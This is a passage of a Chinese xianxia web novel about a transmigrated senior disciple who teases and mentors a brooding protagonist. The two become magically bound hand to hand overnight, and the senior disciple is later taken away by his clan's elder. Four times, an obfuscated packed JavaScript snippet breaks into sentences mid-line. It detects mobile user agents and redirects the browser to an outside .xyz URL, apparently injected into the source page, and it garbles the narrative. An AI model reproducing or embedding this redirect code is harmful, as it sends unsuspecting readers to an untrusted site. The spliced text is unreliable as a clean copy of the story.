下一刻,女孩摔到在地,但并未被巴掌拍中,只是被掌风吹倒在地,与此同时,她面前的商贩被不知什么人打了一巴掌,身体竟旋转了起来。 女孩目光一闪,当即领会了形势,立马抢过破剑冲进人群之中离去,代那贩子回过神,早就找不到人了,只能环顾四周,面目扭曲,却敢怒不敢言。 许清浔转眸,看着仿佛无事发生的祁桓,若有所思。 李长金则是仿佛明白了什么。 祁桓缓缓走来,一声不吭,头也不抬。 “……” “……” 空气微妙地沉默了一下。 许清浔看了李长金一眼,李长金了然,两人又转身继续走。 李长金传音道:“他是个好孩子,就是……不太坦率。” “与其说不太坦率,不如说变扭吧。”许清浔没忍住笑了。 看着两人不知在交谈什么,祁桓其实心中有些烦躁,他也不知自己为什么出手,但回过神时,做都做了。 也是可笑,分明强调了无数遍,要斩断过去的自己,做个彻底冷血无情的求仙者,到底为何……还在藕断丝连。 祁桓心中不禁生出一丝迷茫。 他是要炼《灭世魔经》,将来成为魔君的人,任何情感、良知,都只会是他未来的障碍,理由如此。 他皱紧眉头,脸色黑沉得可怕,目光不由自主地盯住了许清浔的后背,仿佛在说,这个人就是原因,是这个人的胡言乱语乱了他的道心。 而同时,李长金仿佛感觉到什么,奇怪道:“师兄,小师弟是否对你有什么怨念?” 许清浔摇摇头,又故作思考道:“莫非是妒忌我与你走得太近?” 李长金脸一黑,“师兄又在胡言乱语!” 许清浔大笑。 说着说着,他们便走到了法宝集会外围,法宝琳琅满目,盛放着灵光,大多数是旧宝,少有新炼制的新法宝。 修真界少有专门炼宝卖与他人的器修,因为修士的时间有限,众人在有限的时间加强自己的本命法宝都会捉襟见肘,更何况专门给人炼宝,一来不利于自身修炼,二来若是不强大,又容易引来祸端,故此,所谓法宝交易,大多数交易的是……抢夺来的法宝。 当然,上述情况并不包括大世家。大世家底蕴深厚强者无数,自然养得起器修,也庇护得了。 该说不说,许清浔从小卷到大,又酷爱打擂台,不知从多少天才手上抢了多少法宝还有符箓,当中还有元婴威猛之二三的符箓,可以说他单枪匹马之下,即便遇上金丹大圆满的老登也丝毫不犯怂。 说到底,《醒红尘》的修士打架一看修为二看法宝三看符箓,而有时候,后者要是太逆天,就算修为更高也会翻车。 所以说,打架也是要看脑子的。 许清浔粗略地扫完视野范围内的法宝,并没有看到什么特别,于是转头看向了祁桓。 祁桓虽是天煞孤星命格,身边之人容易不得好死,但同时也是“聚宝盆”命格,总能莫名其妙找到宝,甚至许清浔怀疑,自己之所以能够开启《原始太虚经》,也是因为在某种程度上沾了祁桓的“聚宝盆”运? 不过,他都盯着祁桓这么久了,祁桓怎么一点动作都没有,难道这里面没有一个宝?好家伙,大哥带你来这里为的什么?小弟你居然消极罢工? 大概因为他的眼神太火热了,李长金忍不住咳了一声,提醒道:“师兄这么盯着七师弟是为何?” 许清浔一呆,这才发现那个黑衣少年似乎很不自在,走路的节奏都有些微妙。 “没什么,只是……感觉师弟这般五官,若是再长大些,定会更加引人注目。” 许清浔脸不红心不跳地胡说八道,见黑衣少年面色微红,又忍不住逗乐道:“过个一两年,说不定会有一群人抢着小师弟双修呢。” 黑衣少年终于绷不住了,抬头道:“大师兄莫再玩笑!” 然而他这样的反应更加逗乐了许清浔。 许清浔忍不住道:“师弟喜欢哪种类型的孩子,恋爱要趁早,别人在你这个岁数可都成婚了哦。” “你……”黑衣少年面红耳赤却又不知如何反驳,只能怒瞪许清浔。 李长金都看不下去了,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775795|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大师兄,不要调戏小师弟了。” 许清浔呆住,仍旧恋恋不舍。 祁桓仿佛感激地看了李长金一眼,却因为李长金的下一句面色大变。 “越喜欢对方越爱欺负对方,这可不是什么好习惯。” “二师弟这就说过头了。”许清浔笑笑道,说完他转头看向祁桓,颇为意外地说:“之前没注意,现在才发现……你还真纯情。” 祁桓愣在原地,好久没反应过来。 好像第一次听别人这么说。 三人在法宝集会兜兜转转,发现了一些有趣的东西,许清浔和李长金各自买了一些,但祁桓迟迟没有出手。 许清浔大方道:“小师弟想要什么尽管开口,今日师兄全给你兜了,你说是不是呢二师弟?” “我?”李长金目瞪口呆。 但祁桓也是犟种,不肯受许清浔的好处。 一直逛到天黑,他手上才勉强多了一柄又短又旧的破剑,和一枚看不出任何法力的凡材戒指。 饶是许清浔观察了许久,也不知到这两件东西究竟有哪里非凡,问祁桓也只是说随便买的。 黄昏时分,许清浔忽然警惕起来,他皱了皱眉,遥遥看见许家人就在附近。 见他一反常态,祁桓忍不住问了李长金,“大师兄为何如此抗拒许家。” “无非是联姻。”李长金回答得平淡,好像这不是什么大事。 祁桓却惊异了一下,忍不住好奇道:“大师兄这样的性子,怎么怕区区联姻?不想联姻拒绝了不就好了。”他显然不明白。 李长金转头道:“按理说是这样,可被你拒绝的人该如何是好?大家族之间并非不透风,要是传了出去,对方女孩岂不是要背上‘被许清浔拒过婚’的名声?你的表情好像还不明白,不就是名声而已,何足挂齿?但事实上修士也是人,在还没有成仙之前,谁人不还在世故之中。” 祁桓仍旧皱眉,好像并不认同,“在乎名声,终究还是心性不高、实力不足。” 李长金一愣,随即微笑道:“再有实力,人心不还是肉长的吗。” 祁桓刚要说话,许清浔忽然从他身后冒出,搭着肩道:“二师弟说的是,便是成了修士,也不能不做人啊!” 祁桓一时语塞,只觉再听下去自己又要被他的歪理说晕头。 入夜,三人并未离去八宝城,而是在一阁楼住下。 某个房间前。 “并非没有其他房间,为何我要与师兄住在一起?” “保护师弟是师兄的使命!” “我看你绝对心怀不轨!” “那怎么可能?” 任那个黑衣少年如何反抗,最终还是被青衣修士抓到了房内。 看到祁桓终于老实下来,许清浔稍稍放心,无声道:“虽然还是任重道远,但有我在,你绝对不会走歪的。” 此时的祁桓忍不住转头问:“师兄何时松开手?” 许清浔一顿,低下头才发现自己还牵着祁桓的手,他连忙道:“这就松。” 可是说完,他才发现根本松不开。 他们好像被什么力量强行绑定在了一起,抑或是产生了什么诡异的磁力,竟然怎么也拉扯不开了! 12.第十二章 大事不妙,发生了什么了? 许清浔额冒冷汗,心跳怦怦加速,特别是察觉到身边人的目光之后。 糟、糟糕,他不会以为我故意不松手吧! 果不其然,祁桓脸色极黑,阴沉道:“师兄这是何意。” “哪有何意!”许清浔连忙转头道,“我松不开手啊!” 祁桓横眼盯着他,显然不相信,但他自己尝试“拆开”后,也沉默了。 拔也拔不开,他们的手像被一种非常强大的力量强行绑定了,手掌贴手掌,五指交叠,他是左手,许清浔是右手。 “你也知道了吧?”许清浔纳闷道,“偏偏我是右撇子啊……” 祁桓愣住,他刚好相反。 “我方才感知了一番,似乎连我们的经脉都被连接起来了。”许清浔低头仔细观察,发现一旦强行拉开微米距离,就能看见极其细小的灵力脉纹。 他们两个人像是连体了一般,可是这究竟为何?这种事情《醒红尘》里面提都没有提到过,难道是被人暗算了?这不可能,再说了,要暗算何必要这样? 退一步说,谁能做到这种事?怕是至少也是元婴大能了。 许清浔心思电转,愣是想不到一个合理性,而身边人的脸色显然更黑了。 “回宗找长老看看?”他试探地开口。祁桓断绝否定道:“不行!” “那……先过了这一夜,兴许明日就好了呢。”许清浔寻思。 祁桓微微皱眉,但最后也只好同意了。 话虽如此,许清浔内心平静不下来,他可以开玩笑牵着别人的手玩一段时间,但非玩笑情况下牵着……对方还是男人,这很尴尬有没有! 他表面淡定,脑子可淡定不了啊。 就在这时,身边人忽然动了,一声不吭地向前走去。 许清浔被牵动,也只好随着祁桓走。 对方或许已经接受了现状,走到床榻前,接着便是盘腿坐下。 他好像很淡定的样子。 许清浔纳闷,不过很快也随着祁桓坐下,牵着手的状态下,两个人的行动不得不保持一致。 就是气氛……不会尴尬的只有我一个吧。 许清浔大悲,他再转头一看,发现祁桓已经闭目暝神,进入了浅修状态。 哦,差点忘了,这个人也是卷王,少时调皮疏于修炼,家中出了大事之后才知道实力的重要性,此后一直发了疯地修炼,像惩罚着自己一样。 那样的变故……是会让人心性大变。 许清浔望着少年的侧脸,许久后,他陷入了回忆。一开始他看《醒红尘》时其实很喜欢其故事的开局,因为这年头写正统正能量主角的书太少了,大多数要么是老六,要么是独尊自我杀伐果断,会为他人着想,会主动与他人打好关系的主角对他来说……实在有些眼前一亮。 所以,哪怕只是一本扑街书,他也耐得下性子看,像一个再正常不过的读者一样,每天追更,每天看着主角长大,可是万万没想到,上架没多久该死的作者就发了文青病,而且一发就不可收拾,越骂还越发病,简直像故意跟你作对一样,到大结局直接发了一个大癫。 “当时我以为那是作者发病,胡乱写的你,可是如今知道,故事并非故事,而是真实,那些我认为的作者的强行安排,其实每一个都是你的选择,是你发自内心的选择……” 许清浔不免心情沉重,乐观如他,其实也深知改变一个人不是简单之事,就像他当年改变不了他的好友,只能眼睁睁地看着对方结束人生一样。 当时,好友对他说过。 ——“你不会理解的,你天生心态好,什么都有,又那么一帆风顺,怎么可能理解得了我?” ——“你根本不知道在你这种人身边我有多痛苦,你每一次要帮我,都令我更自卑,更想死!” 许清浔眉头紧锁,脸色渐渐难看,手在不自觉时微微发抖。 祁桓感觉到他的异常,睁开眼睛投以视线,没来由的心头一颤。 又是这种表情,明明是个总爱拿人取乐的没心没肺之人,为何偶尔会露出这般……仿佛很悲伤的表情。 真是令人困惑。不过,那又关自己何事。 祁桓提醒自己,内心警告道,这个人深不可测,说不定一切只是伪装而已。那些传承千年甚至万年世家大族子弟没有一个是省油的灯,这个人也不会例外,绝对不会。 他又静下心修炼,当周围无人无物,什么都感觉不到。 可是过了片刻,身边人的手似乎抖得更厉害了,他微微皱眉,沉默了许久,最后还是没忍住,又一次张开了眼睛。 然后,他震惊了。 只见,那个青年眼线泛红,白玉般的眸子如弦月般垂落,缘边生出水色光华,似乎随时要抖落一样,莫名地牵动人心。 他当即愣住,下意识地想要说什么,想要阻止它的落下。 可是来不及了,青年长睫眨动,水光闪落,滑下了一道弧度。 祁桓睁大眼睛,那一刻,好像心弦被狠狠地拨动了。 他实在无法理解,那个人怎会露出这般……脆弱的表情,这一幕好像做梦一样,可是他的眼睛却又实实在在地看见了。 不过,没等他弄明白情况,许清浔突然察觉到视线,猛地转头看去,大怒道:“臭小子你刚刚是不是偷看了?”虽然急忙转了回去,但绝对看到了! 祁桓莫名心虚,转头道:“什么偷看?” 许清浔气死了,连忙擦了眼泪,恼羞成怒道:“刚刚是错觉!你什么都没看到!” 说着居然强行把祁桓的头转到一边,不容任何置疑。 祁桓本要说什么,却又莫名也觉得自己做了什么错事,听话地转头到一边。 看着祁桓一动不动,许清浔心里感觉糗大了,好死不死竟然被祁桓看见了!苍天啊大地啊,为什么偏偏是被祁桓看见? 事关本大哥的面子啊! 许清浔目光垂下,死死地盯着两人牵着的双手,无声地大怒道:“都是因为这个!” 而忽然间,旁边的静默少年开口了,声音冷淡但隐隐带着一丝关切,“师兄方才为何那般。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782771|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许清浔一听脸都红了,心道大哥丢面子了,你小子居然还敢问! 再说了,你问了大哥就要说吗? 许清浔咬牙切齿,可偏偏他是个气氛组,受不了太沉默的气氛,一旦气氛太尴尬就忍不住调和气氛。 他咬咬牙,闷声道:“想起了一些往事而已,你不必在意。” “……” “是何往事。” 祁桓又淡淡寻问。 许清浔大怒,心道臭小子你还敢问!好奇心全在这里了是吧! 他恨恨转头,怒瞪着那个仿佛没问什么特别事的少年。 可恶啊,你这哪壶不开提哪壶的臭小子! 但他转念一想,发现这是祁桓第一次主动问话。 啊,第一次?主动? 许清浔顿时眼前一亮,竟没那么生气了,不过,该怎么说呢。 他沉默了片刻,缓缓开口,声音很低。 “我曾有一个好友一心寻死,无论我如何想要改变他,阻止他,都没用,甚至……好像还加速了他的死。” 说着,他低下眸子,“我在想,我会不会也是他的死因之一。” 祁桓微微蹙眉,沉思片刻才抬头道:“不会是。” 许清浔一顿,笑着转头道:“你怎么知道?” 祁桓停顿了一会,慢慢开口:“那是他自找的。那么多人想活却活不了,他自己寻死,嗯,至少那是他自己的希望,且由他自己实现了。” 许清浔沉默,盯着祁桓的双眸,“你的意思是,他人不应该有改变一个人的想法吗。” “我没有那么说。”祁桓思考着,神色颇为认真。 “那……若是有人一心想要改变你呢?”许清浔低声寻问,声音中难免带着几分忐忑与不安。 祁桓眨了眨眼,表情十分平静,似乎不以为意,“论心不论迹,若那个人一心是为我好,只要不是什么大事,嗯,无所谓。” 许清浔听完,心情一阵激荡,感动道:“不愧是师弟啊。” 祁桓正欲转头看许清浔一眼,没想到那个人忽然拥了过来,带着一股令人安心的兰花香,几乎要将他压倒。 “你……” 祁桓睁大眼睛,刚要说太近了,脑袋便又一次遭到了按揉。 始作俑者快速拉开距离,笑吟吟道:“师弟,就冲这句话,我罩定了你!” “……”祁桓幽幽抬眸。 这个人估计真的对他毫无坏心,毕竟哪有人心怀不轨是这样的。又笑又哭,又宠又欺,像顽劣少年对待自己的心上人一样,曾经他的表兄就是如此。 等等,心上人? 祁桓瞳孔一震,再看向那个仿佛满眼只有自己的青年,之前的一切不解之事仿佛都有了答案。 为何这个人会看上自己,收自己为师弟,还亲自培养,亲自照顾,甚至亲自带来寻法宝,以及对自己说那些奇怪……暧昧言语。 世上没有平白无故之事,答案其实是—— 这个三玄宗大师兄、年轻一辈的最强者……心悦自己?! 13.第十三章 “嗯?你的脸色为何突然变得这么白?”许清浔转头一看,发现祁桓见鬼似的盯着自己,瞪大眼睛,浑身发抖,最大可能地拉开了距离。 干嘛,哥们又不是什么洪水猛兽,至于这样吗?刚刚不还聊得好好的? 许清浔纳闷,正欲缩近距离,对方突然仿佛被踩了尾巴一样,惊道:“你、你不要过来!” 许清浔一顿,见祁桓好像真的非常抗拒,而且声音中带着明显的慌乱。 这是……哦,这小子讨厌被人碰,差点忘了。 许清浔了然,转身摆摆手,“大惊小怪,我又不会吃了你,你怕什么?” 听到“吃”一字,祁桓当即倒吸一口冷气,恍然大悟般喃喃道:“所、所以他才强迫我跟他一个房间……” “你说什么呢?”许清浔忽然逼近距离,带着兰花香的气息扑面而来,吓得祁桓缩到了最边缘,额头冷汗滑落。 他这个样子许清浔前所未见,不禁纳闷了起来,“你的反应比我想象中大多了。” 祁桓脸色又一次煞白,好像若不是两人的手莫名绑定在一起,他就要从许清浔身边立刻消失一样。 “罢了罢了,大好时光,不修炼怎么成,师兄可是立志成仙的男人啊。”许清浔大方一笑,浑然不在意祁桓的存在,盘腿端坐,几乎是瞬间便进入了修炼状态。 祁桓沉默了许久,内心七上八下,混乱了一阵子,最后目光定在许清浔的脸上,咬牙、皱眉、吸气。 他讨厌男人,更讨厌被男人看上,恶心得不行,知道许清浔为此才收他为师弟,他恨不得立刻逃跑,跑得越远越好! 可是他转念一想,这难道不是好事吗。 说明许清浔并非为了《灭世魔经》,他完全是安全的,甚至还有了三玄宗太上长老之七弟子的身份,日后行事只会更加方便。 没错,其实未必不能接受。祁桓又一次深吸了一口冷气,反复告诉自己,为了成仙,为了获得倾倒一切的力量,不择手段,利用人心又何妨? 祁桓盯着许清浔的侧颜,心想,他回答不了那份心意,但那份心意……对他非常有用。 祁桓似乎坚定了心思,眼神也渐渐平静下来,直到此刻,他才真正地放松了下来。 “其实也没什么,许清浔这个人……并未真正对我做过什么。” 暗夜里,少年无声自语,怒力地压制着混乱、未知的心情。 另一方,完全不知道自己被误会了的许清浔则又是一夜圆满的修行,天刚蒙蒙亮,他便张开双眸,身上飘逸着一股清雅的道香。 修士无须睡眠,夜间通常用以修行,而每次修行结束,他都会精神饱满,元气洋溢。 “起床干活叻。”许清浔下意识起身,完全忘记了身边还有一个人,刚下床才想起来,担心自己会牵动对方,但并没有,他下床之后,成功抽回了自己的手,昨夜那股奇怪的力量消失不见了。 “……那究竟是什么情况?”许清浔歪了歪头,心中十分纳闷。 同样纳闷的似乎还有床上那个少年,他也是刚刚发现的。 居然这么快就解开了。祁桓心情有些复杂。 许清浔抬起头,看向少年道:“不管怎样,没事了就好。” 被迫牵手一整夜,你个崆峒分子要恶心坏了吧?哈哈哈。 但少年面色淡淡,看不出有没有如释重负,而且这个样子跟昨夜对比……多少有点判若两人。许清浔歪了歪头。 “没事,师兄今日还要逛八宝城吗。” 少年似乎自然了许多,缓缓地下床之后,跟许清浔距离有三步左右。 许清浔感觉这小子有点变化,但一时半会又说不清是什么变化,不过,似乎态度变好了一些? 啊,那就好! 许清浔大喜,笑道:“不着急,待师兄准备一番,对了你学过符箓吗?” 祁桓如实道:“只了解过皮毛。” 许清浔自然清楚,大方地揽过祁桓,手掌牵着手腕,“来,师兄教你,实不相瞒,师兄可是年轻一代的符箓第一!” 他自是毫不吝啬地引导祁桓入门,但由于对方背对着他,他注意不到对方的表情,更不可能知道,对方此时心里闪过了一道“忍辱负重”的念头。 在八宝城待了三日之后,他们才收拾离去,那日路上恰巧碰到了两个大修斗法,打得那是天崩地裂、日月无光。 他们离得远,不会受到波及,但心情难免会受一些影响。 许清浔望着远方翻滚的云层,心潮澎湃,眼神中透着向往,低声道:“迟早有一天,我也能掌握到这种改天换地的力量。” 祁桓目光转向他,带着几分不解,忽然心中跳出一念,好奇心乍现,控制不住地想问这个人……某个问题。 许清浔眨了眨眼,心情正好,忽然感觉到一道视线,转头道:“师弟,你为何盯着我看?” 祁桓一顿,犹豫片刻,竟然真的忍不住好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788574|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问道:“爱人与绝世修为之间,若是只能选择一个,师兄会……作何选择。” 许清浔一听,毫不犹豫道:“傻子,你怎么会问出这种问题?当然是全都要啊!” “你……” 祁桓瞪大眼睛,似乎没想到许清浔会如此毫不犹豫。 而更控制不住的是,他居然……为此感到了一丝喜悦。 许清浔不知他在想什么,但对他提出这个问题非常在意,接着一本正经地念叨道:“师弟,我们做修士的就是要逆天而行,不狂怎么行?哼,没事,接下来好好调.教一番便是。” 他自顾自地说着,好像在心中有了什么计划,双眸熠熠生辉,整个人神采飞扬。 祁桓则是陷入沉思,无声自语道:“狂……吗。” 如此这般,转眼便是五年过去。 本该覆灭的三玄宗不仅屹立不倒,还有扩张的势头,门内修炼风气更是令他宗羡慕非常。而若是有人问其原因,他们的弟子都会提到一个人,那便是他们的大师兄许清浔。 话说这几个月来,许家多次派人迎他们大师兄回家,却每次都被拒,尤其是上一次,据说……许家高层似乎震怒了。 山门口,几个刚入门的弟子正在闲聊。 “你们说,大师兄这次不会被抓回去吧?” “应该……不会吧?” 回答的人也说不准,毕竟听说许家下次派来的将会是一位元婴大能,而他们三玄宗除了宗主和太上长老,就只剩下零个元婴大能了。 若是对方强行夺人,太上长老不在,宗主又不可能出手,那大师兄十有八九就要被带走了。 “哎,都是因为上次那个洞天对决,大师兄表现出的实力惊艳四座,许家的高层哪还能容许大师兄在三玄宗这种小地方?” “其实我也觉得大师兄应该回许家……”有人小声道。 他们不知,就在此时,一道黑色的身影从他们身旁走过,眼神晦暗不明。 - 守真岛,某一寝殿内,黑帘随风摇曳,空气中飘散着酒气。 白衣修士衣不蔽体,睡容糟糕,雪白的长发如丝绸般铺落,有些夹藏在衣袍底下,有些垂落在了床边。他梦中呓语,似乎很是欢喜,低声念叨道:“好……傲天调.教计划大成功……黑化?嘿,门都没有……” 就在这时,殿门忽然被打开,由外而内照射下一道刺眼的白光,接着走进了一个浑身压迫感的黑衣青年。 14.第十四章 黑衣青年容貌清俊,初看气质温和,细看眼里尽是迫人的锋芒。他似乎很愤怒,破门而入后,视线立刻盯住了屏风后酣睡的人。 若是有人在旁,或许会看见他腰间系有一枚品质上等的玉佩,身后背负着一个青铜色的剑匣。 他蹙紧眉头,走前三步,却被迫停止,目光幽幽地盯着突然显现在面前的三面符箓。 符箓几乎与人同高,呈肃穆的深红色,灵力构成的金光灵纹如金蛇般游走,闪着耀眼的光芒。 他知道,那个人虽然表面不正经,但安全意识超乎寻常,即便是自己也不能在他没有意识地时候闯进这座殿内。 祁桓沉默了,身后的剑匣微微发颤,似乎下一刻就要发作,但他深吸了一口气,最终还是忍了下来,一切等那个人……酒醒再说。 - 许清浔正做着一个心想事成的美梦,梦里他回到了初见祁桓那段时间,和对方在八宝城逛了三日,回程路上还巧合看到了一场大修士之间的生死对决。 再之后呢,他便回到了三玄宗,开始一边修炼一边调教……咳,管教小弟、咳咳,小师弟。 不知怎么,师弟自从八宝城回来之后,人便听话多了,基本上他吩咐的功课,对方都会老老实实地完成,甚至每一次都能超越他的预期,无论是品行,还是修行,没有一样不让他满意。 他一开始还蛮高兴的,就没在意那么多,就是有些不满对方总是不亲近他,初见时他还能调戏一二,可是后来,对方不知是学聪明了还是什么,总是能预判到他要调戏,然后在他偷袭时屡屡躲过,导致他屡屡扑空,调戏不成。 害,他在这世界除了玩弄符法外,就只有调戏主角这个兴趣了,祁桓这小子为什么就是不能让他如愿?再说了,做师弟的,孝敬师兄不是应该的吗?你个臭小子怎么还天天躲着人? 许清浔纳闷,想在梦中逮着人玩弄,却发现梦中人居然也难逮,每次他要逮住对方时,梦中人要么闪去身影,要么瞬间化作虚无。 可真是气煞本师兄也! 但接着,他逐渐紧张了起来,因为按照原著内容,《灭世魔经》很快就要苏醒,到时候它又会疯狂洗脑祁桓,引导祁桓走那条死路。 这是他绝对不能容许、想尽方法都要断绝的事情,所以他只能先下手为强,告诉祁桓要走出自己的法,绝对不能依赖他法,他觉得祁桓应该听进去了一些,毕竟那日的树阴下,少年模样的祁桓答应了他。 ——“师兄说的话,师弟自是铭记在心。” 嗯……当时他还蛮高兴的,但为何现在回想起来,怎么感觉像是客套话? 许清浔微微皱眉,在梦里摸着下巴寻思了一阵,最终还是说不准。 不过,祁桓应该听进去了,因为《灭世魔经》苏醒过后,祁桓也没有太大变化,依然在他的眼皮子底下发奋修炼,而且外面也再没有传出关于“凶人”的事。 祁桓……应该没有再修《灭世魔经》了,他反复试探了几十次,才放心了下来,虽然没有完全放心。 不管怎样,自己的护世任务完成的还不错! 许清浔在梦中笑得合不拢嘴,现实中也是哈哈大笑,看得出来在做美梦。 而且最令他开心的是,那少年被迫磨平的锋芒,似乎又长了回来,虽然只是一些,但至少回来了。 哈哈,连闹脾气都学会了,有趣有趣,包容小弟的脾气可是大哥的职责口牙! 许清浔又梦到了那一日,他带祁桓下了一个九死一生的秘境,他们一路凶险,两个人都体力透支、狼狈不堪,身上的符箓丹药也几乎耗尽。 艰难之际,好死不死,他们碰到了一条狡猾无比的藤妖,他们逃避不了,只好与它死斗,三个时辰后,藤妖非但没有消耗,反而再次加强,恐怖的妖丹之力将他们震慑在原地,完全动弹不得。 那个时候,他当机立断喊祁桓先逃,说他有办法解决藤妖,想着那小子绝对会听他的话,却没想到祁桓拼死不走,一副要战到最后的态势。 最后,藤妖被他们合力击杀,可是他也怒了,第一次动了真怒,骂祁桓不听话,问他为什么要这么做,而自始至终,祁桓都没有回答为什么。 秘境破灭后,他在气头上,第一次扔下了祁桓当场走人。之后,祁桓应该是自己回宗了。 如今梦中回看,许清浔不得不承认,自己当时是冲动了,祁桓没有错,最后藤妖杀了、秘境也破了,并没有什么大事,他实在……没有资格生气,还一气就冷落了对方半年之久。 啊!半年?居然有这么久了吗? 许清浔梦中惊惧,瞬间给自己吓醒了,他猛地睁开眼睛,看到熟悉的环境,立刻闻到了房间里弥漫的酒香。 酒?许清浔爬起身,一手捂着头,这才想起昨日他灌了好几壶灵酒,一直喝到头晕脑胀…… 不行,得快醒酒才行。 他立刻坐起身,一边清醒灵识,一边梳理回忆,来不及打理那头过长的白发。 恰在这时,一道不可能出现在这里的声音隔着屏风幽幽响起。 “师兄可算是醒了。” 许清浔一顿,难以置信地抬起头,心想自己梦了一整夜的祁桓,刚醒来就……出幻觉了? “师兄为何不说话。” 片刻之后,那道声音又一次响起,语气中似乎带着几分压迫感。 许清浔这下酒醒了,意识到对面不是梦,而是真实的人,而且就在自家寝殿内,只是被符箓挡在了外殿,进不来里面而已。 只是,为何突然来了? 许清浔有些头疼,声音沙哑地开口问道:“师弟?你为何在此?” 他也是才知道自己如此气虚,他昨天到底喝了多少酒啊。 然则,他的问话久久没有收到回答,屏风后的那个身影立挺如竹,不知什么表情,明明听见了,却故意不回答。 许清浔与祁桓相处久了,自然知道,这是对方来脾气了,祁桓生气时总爱如此,沉默地盯着你,好像要用目光杀人似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793088|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许清浔一开始不习惯,但现在早就习惯了,在那目光中若无其事地站起身,对方不回答他也不说话,慢条斯理地穿着袍子,束腰、戴玉佩、戴戒指,还有梳理乱糟糟的头发。 他一向的原则是,即便是修了仙也不能忘记生活,该亲自完成的事自然还是要亲自完成。 不过,时间久了,那道目光好像更炽烈了,几乎要冒出火来,要穿透屏风烧到他身上。 “到底怎么了,我做了什么事情让他不高兴?” 许清浔陷入沉思,然而可想到的事情可太多了,尤其是“冷落了半年”这件事,他本以为会是他先低头,既然对方先来了,莫非是对方想先低头? 这可真是太阳从西边升出来了! 许清浔眼睛一亮,当即喜上眉梢,可转过头去,又感觉对方绝对不是为此而来。 笑话,那个目光太恐怖了,要不是有屏风和符箓挡着,光目光都要将人生吞活剖了,哪有可能是要跟你道歉啊。 好在,对方终于又说话了。 “师兄,许家要来元婴大修了,这件事你知道吗。” 声音很平静,听不出什么情绪。 许清浔一顿,下意识道:“知道,但……与你有何干系?” 这句话好像刺疼了对方,令殿内的空气瞬间沉重。 黑衣青年的目光几乎要化成实质的怒火,语气更加森冷,“师兄莫非是想回许家联姻了吗。” 许清浔睁大眼睛,更加不明白,而且对方如此严肃,反倒让他生起了逗弄之心,他笑道:“是又如何,联姻好啊,师兄岁数到了嘛。” 话音未落,整个大殿仿佛被冻结了,一股前所未有的杀意在瞬间席卷全场,又瞬间消失,好似错觉一般。 许清浔的心跳快了好几拍,本因为宿醉头晕着,此时此刻被迫彻底清醒,目瞪口呆。 良久,那个盛怒的男人才终于再开口,冷冷地丢下一句。 “那便恭喜师兄了。” 说完,那股令人浑身不安的压迫感才终于消失。 许清浔愣了好一会,才开始反思自己,“我……是不是说错什么了,但那只是一句玩笑话而已。” 他挠了挠脸,颇为困恼,但又不能放着不管,那家伙可是体内住着一本灭世凶器,惹急了又修魔经怎么办? 那可绝对不行! 许清浔皱了皱眉,目光逐渐坚定。 他迈出殿门,正欲取出玉佩感知祁桓的位置,忽然面色大变,难以置信地看向正前方。 晴空万里无云,却有一人踏空而来,剑眉入鬓,目光深邃,身穿——许家太清道袍! 糟了,许清浔脑内警钟大响,可是下一刻,元婴威压笼罩全场,他仿佛被巨山镇压,浑身上下,哪怕是一根手指都动弹不得。 许家太上长老许如初,垂下双眸,声音低沉却响彻了整个三玄宗。 “浔儿,随我回府吧。” 与此同时,山下的黑衣青年停下了脚步。 15.第十五章 三玄宗瞬间为之一震,众人仰起头,只见一艘巨大的神舟横空而过,周围灵力荡漾如浪,转眼间便驰出了三玄宗。 刚刚议论的那几个弟子睁大眼睛,有人认出了那是许家的神舟,当即惊道:“许家来人了,大师兄不会被抓走了吧!” “绝对是,刚刚那是元婴大能的威压啊。” 正如其所说,事发突然,许清浔完全预料不到,还没来得及反抗,便被捆仙索绑得个严严实实,双手收束在腰后,灵力无法正常运转。 神舟之上。 许清浔努力调整身姿,目光略带委屈地看向对面淡定喝茶的中年修士,忍不住道:“三叔,至于这样吗?还记得小时候,我可是给三叔你指明了一个大机缘啊。” 